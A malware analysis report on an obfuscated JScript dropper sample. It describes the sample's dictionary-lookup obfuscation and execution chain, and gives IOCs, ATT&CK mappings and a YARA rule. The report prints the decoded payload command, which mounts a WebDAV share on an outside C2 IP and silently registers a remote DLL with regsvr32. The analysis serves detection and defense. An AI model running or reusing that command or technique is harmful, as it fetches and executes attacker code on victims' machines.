fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21unclassified-js-webdav-dropper: fe261d49 — 1,794-char extreme variable-name padding dictionary variant
Sixty-eighth confirmed sibling. JScript dictionary lookup-table obfuscation with the longest observed variable name in the family (1,794 characters, second only to the 2,478-char record held by f8dce7df). WebDAV C2 94.159.113.79:8888, payload 104991735930401.dll, regsvr32 /s execution, PowerShell -EncodedCommand wrapper. Static-only (JScript, not a binary).
What It Is
- File:
fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21.bin(delivered as.jsor.jse) - Type: ASCII text, single-line JScript with very long lines ^[file.txt]
- Size: 2,145 bytes (one of the largest JScript variants in the family)
- SHA-256:
fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21 - Family:
unclassified-js-webdav-dropper(sixty-eighth confirmed sibling) - Triage verdict: Malicious — JScript dropper leading to WebDAV DLL registration
How It Works
Obfuscation Engine
The script uses a 62-entry dictionary lookup table with extreme variable-name padding:
- Array declaration:
var nmmnzgqltjbz...nippy=[];— a 1,794-character lowercase random-alphabet variable name ^[strings.txt:1] - Dictionary population: 62 assignments mapping random noise keys (2224-character strings) to single characters:
a-z,A-Z,0-9^[strings.txt:2-63] - Payload assembly:
Function(''+array['key1']+array['key2']+...+'=='+'',0,false);— concatenates 410 ordered dictionary lookups into a Base64 string, then decodes via theFunctionconstructor ^[strings.txt:64]
The deobfuscated payload is a UTF-16LE PowerShell command:
timeout 1;cmd /c net use \\94.159.113.79@8888\davwwwroot\;cmd /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\104991735930401.dll
Execution Chain
| Stage | Component | Evidence |
|---|---|---|
| 1 | JScript dictionary deobfuscation | Function(''+array[...]+'=='+'',0,false) ^[strings.txt:64] |
| 2 | WScript.Shell object creation |
returnthisWScriptCreateObjectWScriptShellrun in reconstructed payload |
| 3 | PowerShell -EncodedCommand wrapper |
powershellEncodedCommand prefix in payload |
| 4 | timeout 1 delay |
Anti-sandbox / anti-emulation timing gate |
| 5 | net use WebDAV mount |
\\94.159.113.79@8888\davwwwroot\ |
| 6 | regsvr32 /s silent DLL registration |
\\94.159.113.79@8888\davwwwroot\104991735930401.dll |
C2 Infrastructure
- C2 IP:
94.159.113.79:8888(WebDAV over HTTP) - Payload path:
\\94.159.113.79@8888\davwwwroot\104991735930401.dll - Mount path:
\\94.159.113.79@8888\davwwwroot\ - Network protocol: WebDAV/HTTP (T1071.001) ^[strings.txt]
This IP falls in the 94.159.113.x subnet previously observed with siblings f8dce7df (94.159.113.82:8888), fa8c6d74 (94.159.113.204:8888), and fbdd83ad (94.159.113.84:8888).
Interesting Tidbits
- Extreme variable-name padding: The 1,794-character array name is the second-longest observed in the family, just under the 2,478-character record held by
f8dce7df. This padding serves no functional purpose — it is purely anti-static noise. ^[strings.txt:1] - Dictionary key length: Individual dictionary keys are 2,224 characters long (random lowercase noise), making this the most verbose key set in the family. ^[strings.txt:2]
- Payload filename:
104991735930401.dllfollows the 14-15 digit numeric pattern consistent with the94.159.113.xsubnet cluster (compare:13924273943322.dllfromf8dce7df). - PowerShell wrapper: Unlike the
45.9.74.36:8888noise-key variants (e.g.,a435a37b,aa8ff8b9) which omit PowerShell, this sample uses the-EncodedCommandwrapper, aligning it with thedailywebstats.comandcloudslimit.comclusters rather than the minimal45.9.74.36:8888noise-key cluster. - No decoy: No
wordpadlaunch, nocolor f0screen change, no nestedtry/catchblocks — pure execution without distractions. - No sandbox gate: No
aspnet_compiler, noGetTickCount, noPathFileExistschecks — fires unconditionally. - Single-line format: The entire script is one line terminated with a newline, unlike multi-line batch/polyglot variants. This is the standard format for JScript-only dictionary variants.
Deployable Signatures
YARA Rule
rule UnclassifiedJSWebDAVDropper_Fe261d49 {
meta:
description = "JScript WebDAV dropper with extreme variable-name padding and 62-entry dictionary obfuscation"
author = "PacketPursuit"
date = "2026-07-15"
hash = "fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21"
family = "unclassified-js-webdav-dropper"
strings:
$a1 = /var\s+[a-z]{1000,2000}=\[\]/
$a2 = /\['[a-z]{2000,2500}'\]\s*=\s*'[a-z0-9A-Z]'/
$b1 = "Function(''"
$b2 = "+'='+'='+ '',0,false);"
$c1 = "WScript"
$c2 = "CreateObject"
$c3 = "davwwwroot"
condition:
filesize < 5KB and
($a1 or $a2) and
$b1 and $b2 and
2 of ($c*)
}
Behavioral Fingerprint
This script deobfuscates a PowerShell command via a 62-entry dictionary lookup table with extreme variable-name padding (1,000+ character identifiers). The deobfuscated payload mounts a WebDAV share via net use \\<IP>@8888\davwwwroot\ and silently registers a remote DLL via regsvr32 /s. The PowerShell wrapper uses -EncodedCommand with a UTF-16LE Base64 payload. No sandbox gates, no decoy applications, no persistence — a one-shot execution chain typical of this family's JScript dictionary variants.
IOCs
| Indicator | Value | Type |
|---|---|---|
| SHA-256 | fe261d491802da009b91ffdf0ac46432d701cb56b59a36401adb5e78ad09ea21 |
Hash |
| C2 IP | 94.159.113.79 |
IPv4 |
| C2 Port | 8888 |
Port |
| WebDAV path | \\94.159.113.79@8888\davwwwroot\104991735930401.dll |
UNC |
| Payload DLL | 104991735930401.dll |
Filename |
| Execution | regsvr32 /s \\94.159.113.79@8888\davwwwroot\104991735930401.dll |
Command |
| Network | net use \\94.159.113.79@8888\davwwwroot\ |
Command |
Detection Signatures
| MITRE ATT&CK | Technique | Evidence |
|---|---|---|
| T1059.005 | Visual Basic / JScript | JScript .js file, WScript.Shell ^[strings.txt] |
| T1059.001 | PowerShell | powershell -EncodedCommand wrapper ^[strings.txt] |
| T1218.010 | Regsvr32 | regsvr32 /s \\...\*.dll ^[strings.txt] |
| T1218 | System Binary Proxy Execution | wscript.exe → powershell.exe → regsvr32.exe proxy chain |
| T1027 | Obfuscated Files or Information | 62-entry dictionary with 1,794-char variable names ^[strings.txt] |
| T1071.001 | Web Protocols | WebDAV over HTTP \\host@8888\DavWWWRoot\ ^[strings.txt] |
| T1105 | Ingress Tool Transfer | net use mounts share; regsvr32 fetches and loads DLL ^[strings.txt] |
References
- unclassified-js-webdav-dropper — Family entity page (sixty-seven prior siblings documented)
- js-dictionary-char-lookup-obfuscation — Technique page for dictionary lookup obfuscation
- webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
- Sibling
f8dce7df— Prior record-holder for extreme variable-name padding (2,478 chars) ^[/intel/analyses/f8dce7df01e67193715270902da32b193a7497b5ad82d8e8721516ed6654fd5d.html] - Sibling
fbdd83ad— First 100-entry dictionary variant, same94.159.113.xsubnet ^[/intel/analyses/fbdd83ad649b5e90df9910f67eee3db9502bf63ccc0b958c10d8ade1d839d2f8.html]
Provenance
file.txt— file(1) output: "ASCII text, with very long lines (65536), with no line terminators"strings.txt— raw JScript source with 62 dictionary assignments and Function constructor payloadtriage.json— triage pipeline metadata- Deobfuscation performed via Python regex extraction of dictionary keys and ordered array references
- Base64 payload decoded to UTF-16LE PowerShell command
- No dynamic analysis (CAPE skipped — no Windows guest available)